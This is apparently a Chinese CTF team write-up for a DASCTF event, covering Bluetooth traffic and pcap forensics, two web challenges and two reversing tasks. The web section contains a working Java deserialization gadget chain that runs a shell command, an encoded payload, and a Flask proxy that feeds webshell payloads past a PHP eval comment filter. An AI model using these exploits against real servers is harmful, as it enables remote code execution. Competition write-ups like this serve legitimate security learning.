Misc
[Misc] BlueTrace | @Ron @Luminoria
打开文件发现是蓝牙流量,跑一下 strings 发现有一个 flag.png

Package 4267 传了一个 jpg 文件

Package 34714 看起来传输了一个 ZIP 包,里面有上面跑出来的 flag.png

obex 是明文协议,但是 WireShark 会自动根据 OBEX 的数据包头重新组装数据包,所以会导致在 Wireshark 里面提取出问题
用 tshark 来 dump 一下
tshark -r BlueTrace.pcapng -Y "obex.opcode == 0x02" -T fields -e obex.header.value.byte_sequence > hex.txt把提取的 hex 流丢到赛博厨子里面,转成二进制文件

把这个图用 binwalk 来 walk 一下,提取后面的 zip 文件

打开提取后的文件夹,发现有个提示「压缩包密码是蓝牙传输的目标电脑名字」
回到数据包,发现电脑名字有乱码,可能存在非 ASCII 字符,右键复制为 b64,拿去解码

解码一下,得到 PC 的名字为 INFERNITYのPC
解压后得到下图

本来以为是不是黑白表示 0 或 1 的,用 PS 打开发现有灰度,所以不可能是那种玩法,但是发现了一个很有趣的现象,每个像素点的 RGB 值是一致的

所以考虑是不是用 RGB 值编码了什么东西,尝试提取一下,顺带计算一下每个 RGB 值出现了多少次,可能会有新发现
from PIL import Imagefrom pprint import pprint
image = Image.open(r"BlueTrace\image.png")pixel_bytes = bytearray()rgb_dict = {}
for y in range(image.size[1]): for x in range(image.size[0]): # print(image.getpixel((x, y))) # int 类型不能作为索引,不然爆 TypeError rgb_dict[str(image.getpixel((x, y))[0])] = rgb_dict[str(image.getpixel((x, y))[0])] + 1 if str(image.getpixel((x, y))[0]) in rgb_dict else 1 pixel_bytes.append(image.getpixel((x, y))[0])
pprint(rgb_dict) # 尝试查看每个RGB出现多少次# {'228': 319, '184': 161, '128': 249, '227': 113, '129': 121, '187': 173, '185': 67, '136': 129, '230': 476, '152': 82, '175': 159, '67': 42, '84': 38, '70': 37,# '239': 152, '188': 235, '159': 86, '10': 130, '140': 191, '229': 858, '141': 78, '179': 55, '32': 196, '97': 53, '112': 13, '116': 52, '117': 11, '114': 42, '101': 86,# '104': 15, '108': 29, '103': 22, '173': 82, '150': 96, '135': 95, '144': 120, '186': 133, '164': 44, '151': 59, '232': 329, '181': 67, '155': 142, '231': 440, '167': 62,# '189': 102, '145': 75, '156': 143, '174': 110, '137': 105, '133': 109, '168': 143, '138': 83, '139': 57, '233': 218, '180': 50, '191': 80, '161': 61, '171': 40,# '158': 58, '154': 197, '132': 114, '148': 73, '162': 64, '143': 171, '130': 111, '166': 55, '163': 39, '134': 149, '142': 83, '157': 45, '165': 102, '183': 87, '226': 4,# '153': 56, '182': 83, '170': 28, '146': 49, '131': 71, '190': 62, '160': 65, '87': 18, '98': 17, '169': 18, '149': 38, '177': 27, '147': 26, '176': 62, '172': 24,# '74': 4, '111': 40, '100': 17, '121': 16, '102': 11, '65': 7, '77': 15, '178': 17, '99': 17, '107': 14, '45': 10, '68': 13, '110': 19, '115': 22, '52': 4, '56': 4,# '105': 30, '120': 7, '83': 24, '81': 5, '76': 4, '88': 3, '69': 10, '82': 8, '118': 9, '80': 21, '119': 5, '47': 3, '58': 1, '123': 1, '48': 8, '54': 9, '55': 2,# '57': 2, '50': 3, '49': 6, '125': 1, '79': 3, '73': 10, '72': 9, '66': 5, '86': 5, '51': 5, '53': 1, '109': 11, '40': 10, '41': 10, '78': 9, '43': 2, '71': 8, '124': 2,# '122': 2, '85': 1, '106': 4}
# print(pixels)
with open(r"Bluetrace\output.txt", "wb") as f: f.write(pixel_bytes)从字典中没看出个所以然来,但是打开 output.txt,发现是有文本的

一开始没发现有什么问题,我还打开了 wbStego4,结果突然想到可以搜搜 flag 头 DASCTF,结果就搜索到了

得到 flag 为 DASCTF{0ba687ee-60e0-4697-8f4c-42e9b81d2dc6}
[Misc] 一把嗦的解题思路 | @Luminoria | 未出
时间:17:54
流量分析题,Nginx + PHPStudy,网站是一个云盘下载站

文件列表有 5 个文件
- uploads/a.jpg
- uploads/flag.txt
- secret/img1.png
- secret/secret.7z
- secret/th.jpg
有这几种长度的请求
import os
size = set()os.system(r'tshark -r 一把嗦的解题思路\DAS6-_25e5534ffb442067545615c6cc79e2ca\tempdir\MISC附件\222\222.pcapng -Y "http && http.response.code !== 404" -T "fields" -e "frame.len" > 一把嗦的解题思路\DAS6-_25e5534ffb442067545615c6cc79e2ca\tempdir\MISC附件\222\output.txt')
with open(r"一把嗦的解题思路\DAS6-_25e5534ffb442067545615c6cc79e2ca\tempdir\MISC附件\222\output.txt", "r") as f: for line in f: size.add(int(line.strip()))
print(sorted(list(size)))
# [59, 389, 427, 454, 545, 766, 771, 967, 979, 991, 1049, 1111, 1191, 1197, 1215, 2601, 35550, 43034]- Len 59 是文件列表
- Len 389 是 302 重定向 http://61.139.2.134/system/index.php
- Len 427 是 301 重定向 http://61.139.2.134/system
- Len 454 是假 flag
ZmxhZ3tmYWtl4oCU4oCUaGFoYWhhfQ== -> flag{fake——hahaha} - Len 545 可能是一个webp文件,有RIFF头,但是损坏
UklGRpBMAgBXRUJQVlA4IIRMAgBQgBKdASoADMAGPp1On0wmJy0sJHMJsLATiWdulqXiv2z/51Kfz9dD/zM54ZdX3qMDVZ+JYaDpv9L73vfhyB3j/gOVB0p+x43/pnqEeW/lafTf+L2CvNaz7/7X0o/Qf6F0/b0j6Tv3izPynalfmH+v+x6/HI/vz/n/Y/fF9DH/71C+i//3o/+4//HmL//fsU/hf/s6anr1/v295
- Len 766 是非 ViP 用户提示
- Len 771 同上
- Len 967 是登录页面
- Len 979 也是,但是登录失败
- Len 991 是注册成功提示+登录页面
- Len 1049 同上
- Len 1111 是报错,可以得知数据库用的 sqlite3
- 链接是http://61.139.2.134/system/index.php
<b>Warning</b>: SQLite3::query(): Unable to prepare statement: 1, unrecognized token: "'1''" in <b>C:\phpstudy_pro\WWW\system\index.php</b> on line <b>111</b><br />\n<b>Fatal error</b>: Uncaught Error: Call to a member function fetchArray() on bool in C:\phpstudy_pro\WWW\system\index.php:111\nStack trace:\n#0 {main}\nthrown in <b>C:\phpstudy_pro\WWW\system\index.php</b> on line <b>111</b><br />\n
- Len 1191 是文件列表,看起来是在 uploads 目录里面
- Len 1197 同上
- Len 1215 同上
- Len 2601 是 PHPStudy 的默认页面
- Len 35550 是图片(下面有)
- Len 43034 是下面提到的 7z 文件
Package 959 发现一张 JPG 图片,Package 12924 发现文件(可能是7z)

应该是了,试了一下7z的魔术头就是7z

得到 dump.jpg 和 secret.vmdk,分别来自上述两个流量 Package

挂在这个盘不出意外的要密码,可能与图片有关,我试试隐写,结果工具说这个 jpg 文件没有被修改,可能 Bitlocker 的密码是这个图片本身?印象中 Bitlocker 没有把图片作为密码的方案,用 ArsenalImageMounter 挂载,还是密码问题


PS能够正确识别这个图,可能这个图没有那种常规的隐写


我投降了 =-=
Web
[Web] 再短一点点 | @Rusty
使用了InflaterInputStream,可以对应使用DeflaterOutputStream进行压缩
根据过滤的黑名单用二次反序列化进行绕过
} catch (Exception var9) { var9.printStackTrace(); StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(sw); var9.printStackTrace(pw); String stackTrace = sw.toString(); return stackTrace.contains("getStylesheetDOM") ? "命运的硬币抛向了反面,重启环境试试?" : "something went wrong :(";}根据这段,猜测使用jackson不加稳定来减少字数,失败重启环境
import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xpath.internal.objects.XString;import javassist.*;import org.springframework.aop.framework.AdvisedSupport;import org.springframework.aop.target.HotSwappableTargetSource;import sun.misc.Unsafe;
import javax.management.BadAttributeValueExpException;import javax.naming.CompositeName;import javax.servlet.ServletRequest;import javax.swing.event.EventListenerList;import javax.swing.undo.UndoManager;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.*;import java.security.*;import java.util.Base64;import java.util.HashMap;import java.util.Map;import java.util.Vector;import java.util.zip.Deflater;import java.util.zip.DeflaterOutputStream;import java.util.zip.InflaterInputStream;
public class avoid_error {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault(); CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace"); ctClass0.removeMethod(writeReplace); ctClass0.toClass();
CtClass ctClass = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); ctClass.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass); constructor.setBody("Runtime.getRuntime().exec(\"rm /a\");"); ctClass.addConstructor(constructor); byte[] bytes = ctClass.toBytecode();
Templates templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes}); setFieldValue(templatesImpl, "_name", "z"); setFieldValue(templatesImpl, "_tfactory", null);
POJONode jsonNodes = new POJONode(templatesImpl);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonNodes); HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString(null)); HashMap<Object, Object> objectObjectHashMap = makeMap(h1, h2);
KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA"); SignedObject signedObject = new SignedObject(objectObjectHashMap,privateKey,signingEngine);
POJONode jsonNodes1 = new POJONode(signedObject);
HotSwappableTargetSource h12 = new HotSwappableTargetSource(jsonNodes1); HotSwappableTargetSource h22 = new HotSwappableTargetSource(new XString(null));
HashMap<Object, Object> objectObjectHashMap1 = makeMap(h12, h22);
System.out.println(serial(objectObjectHashMap1).length());
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(objectObjectHashMap1); objectOutputStream.flush(); byte[] barrByteArray = barr.toByteArray();
ByteArrayOutputStream bos = new ByteArrayOutputStream(); Deflater deflater = new Deflater(9); DeflaterOutputStream dos = new DeflaterOutputStream(bos,deflater); dos.write(barrByteArray); dos.finish(); dos.flush();
String encodedString = Base64.getEncoder().encodeToString(bos.toByteArray()); System.out.println("Base64编码后大小: " + encodedString.length() + " 字符"); System.out.println(encodedString); } public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap<>(); setFieldValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); setFieldValue(s, "table", tbl); return s; } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.setAccessible(true); if(field != null) { field.set(obj, value); } } public static Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; }
}eNrtVD1sHEUUfnPn%2B%2BVs8GE7OIrET2M7SmYNQUTiIogTMHY4Yitn2UgntMztTW7X3p9hZtbegERBTw%2BiAwmEuCaNA0SAIkSD0qQACYiUFEhUNISCJjFvdh3ZECNCRZNd3czt7HvfvPfN923%2FVygoCcOrbJ3RWHs%2BnWPKfYmJQunHS1%2BPvXolD7lZqPoR684yR0dyHiralVy5kd9NxLPHIb02yjjkzA%2FBjkayR5WQXtg7K1nANyK5RlkkqGayxzWdi3RrgwnBOj5fSpdaUSwd7g7e%2BvmjmQ9aOSBNKGbBGupNU5vls7BnLXRWuaMbicBdDjlRQM8ypblMAp%2BuMmdNRSHtMs06XtilYdTldHHh1MJp%2FJNVCbkM2l5nfsxfgzchn0g4fDdAyyZjFxLBZjF3%2Bm5yTzDFT%2BHy39NNF%2FtT4hV3Yunpc7Tl9ULezdqsbH3hHjz23VYO8m0oOVGoeYh85Non2lBRGMh0LNMuqk2oaZczvxchihv8lbSWNieBpMXSJPdv7PujWF66nlYAUBjv35PA%2FyqBpw2AikNqOGOCOS6nCcNmqYdHLkPm00T52qFasoQu8UD4THM1j3NlZeFS2P%2FkSB6K8zBo43YokdNx0OF4SEM2JoTK53oe15M2VO3OOc0dLEFp1JTRUdF2fKbwsd7exfFJs9ZoQsEO8ez2VFMThu0o1iLWizISXGrPgI5lgUZE1s56w%2BgMYAsvlKDZ%2BMWb46O93k9HtzUIZE9pkpVvb33%2BJb5%2BEh4iQFgJCIHjyJaFbFnIlpWxZaVsWbfZslK2LBmH2gu4NdNRyIOjl7bJKEGeQPGYF3r6GQL5yallAgMnkZQaFKBYhQEok8wMWcNnMpwSVAlUUY7bzwRGJ6ead4Q1alCDwSrcB0MECjJ4xGJleAB34Al3CExM3knlbhQkzeHIfQ3q8KBBGcFNM2vMej5uWmTURMOjaLWBTEd4Y%2BE4lvBpP64TnIcOXoDKp3B%2FfXgTRlfOb0eOpRbdJzSQ18UGgcQYYECZ0bj28b2UKJh2d5QYpfZT9OWs%2BAPVicbc2Dc3Myv8l%2FzMx7%2B%2FU69cfGNzPDVlIbDx9W1PHvp3sOcTgZ8h5UVh6YcPD7zd73%2Bf4pQDWzCZfiyfaO4lF4OyI5cdFONOFKsQpoaRJDbTIFJmTR%2FOjcJbv%2FhTj61NvOc9nHzWbFw7X3vqleXcSPPI4rvrv01%2F%2FP7V1oXNi%2BM3vnqBXkZ3PdeaucftP3I7nPwJKiK0Jw%3D%3D
[Web] phpms | @Rusty @Luminoria @Ron | 未出
进去一片空白?
对扫描速度做了限制
存在/.git泄露:/.git/logs/HEAD

githacker爬取,stashes里面有index.php

<?php $shell = $_GET['shell']; if(preg_match('/\x0a|\x0d/',$shell)){ echo ':('; }else{ eval("#$shell"); }?>参考:【从国赛想到的一些php绕过注释符trick】https://osthing.github.io/2024/07/14/%E4%BB%8E%E5%9B%BD%E8%B5%9B%E6%83%B3%E5%88%B0%E7%9A%84%E4%B8%80%E4%BA%9Bphp%E7%BB%95%E8%BF%87%E6%B3%A8%E9%87%8A%E7%AC%A6trick/
https://www.php.net/manual/zh/language.basic-syntax.comments.php
写一个中间件把 payload 包裹在 ?><? 和 ?> 的中间
from flask import Flask, requestimport requests
app = Flask(__name__)
# 设置目标 URLTARGET_URL = "http://305c69e8-4b82-47cc-9072-e5997b2cbb66.node5.buuoj.cn:81/index.php?shell="
@app.route("/exec", methods=["GET", "POST"])def send_payload(): payload = request.args.get("payload") or request.form.get("payload") if not payload: return "Missing payload", 400
# 包装 payload data = f"?><?{payload}?>"
# 发送 POST 请求 try: response = requests.get(TARGET_URL+data) print (response.text) return response.text, response.status_code except Exception as e: return str(e), 500
if __name__ == "__main__": app.run(port=5000, debug=True)蚁剑参数
URL: http://127.0.0.1:5000/exec连接密码: payload编码器选择 base64得到
php版本7.3.33Apache/2.4.52 (Debian)能够拿到黑名单
<?phpfunction block_if_dangerous_code($input) { // 定义正则:匹配函数名,忽略大小写,捕获具体匹配内容 if (preg_match('/\b(eval|include|include_once|require|require_once)\b/i', $input, $match)) { $matched_func = $match[1]; // 捕获到的函数名 echo "<br />"; echo "<b>Warning</b>: {$matched_func} has been disabled for security reasons in <b>/var/www/html/index.php(6) : eval()'d code</b> on line <b>1</b><br />"; exit; }}
// 检查 GET 参数 shellif (isset($_GET['shell'])) { block_if_dangerous_code($_GET['shell']);}
?>Reverse
[Reverse] BabyAPP | @Jeremiah | 未出
能够得到 K3y: 2086757714
有简单混淆,只需要在BR x8处将指令patch成 B 某个偏移处即可,经过测试需要改成B SBFX指令的下一条指令的地址即可
加密流程为
- 白盒AES(0x3FD0)
- CRC32(0x6C6F7665)
[Reverse] 鱼音乐 | @Jeremiah | 未出
看图标 Pyinstaller,GUI 用的 Qt5,使用 Pylingual 逆向 main.pyc
# Decompiled with PyLingual (https://pylingual.io)# Bytecode version: 3.8.0rc1+ (3413)# Source timestamp: 1970-01-01 00:00:00 UTC (0)
import sysimport osfrom PyQt5.QtWidgets import QApplication, QMainWindow, QWidget, QPushButton, QLabel, QVBoxLayout, QFileDialog, QMessageBoxfrom PyQt5.QtGui import QPixmapfrom PyQt5.QtMultimedia import QMediaPlayer, QMediaContentfrom PyQt5.QtCore import QUrlfrom xianyu_decrypt import load_and_decrypt_xianyu
class MainWindow(QMainWindow):
def __init__(self): super().__init__() self.setWindowTitle('Fish Player - 鱼音乐🐟') self.resize(600, 400) self.player = QMediaPlayer(self) self.open_button = QPushButton('打开 .xianyu 文件') self.open_button.clicked.connect(self.open_xianyu) self.cover_label = QLabel('专辑封面展示') self.cover_label.setScaledContents(True) self.cover_label.setFixedSize(300, 300) layout = QVBoxLayout() layout.addWidget(self.open_button) layout.addWidget(self.cover_label) container = QWidget() container.setLayout(layout) self.setCentralWidget(container)
def open_xianyu(self): file_path, _ = QFileDialog.getOpenFileName(self, '选择 .xianyu 文件', '', 'Xianyu Files (*.xianyu)') if not file_path: return try: info = load_and_decrypt_xianyu(file_path) meta = info['meta'] cover_path = info['cover_path'] audio_path = info['audio_path'] if cover_path and os.path.exists(cover_path): pixmap = QPixmap(cover_path) self.cover_label.setPixmap(pixmap) else: self.cover_label.setText('无封面') url = QUrl.fromLocalFile(audio_path) self.player.setMedia(QMediaContent(url)) self.player.play() name = meta.get('name', '未知') artist = meta.get('artist', '未知歌手') fl4g = meta.get('fl4g', 'where_is_the_flag?') FLAG = meta.get('') QMessageBox.information(self, '🐟音乐提示您', f'正在播放:{name}\n歌手:{artist}\nfl4g:{fl4g}\nFLAG:{FLAG}') except Exception as e: QMessageBox.critical(self, '错误', str(e))
def main(): app = QApplication(sys.argv) w = MainWindow() w.show() sys.exit(app.exec_())if __name__ == '__main__': main()xianyu_decrypt 是 pyd 文件,应该是 Cython 写的
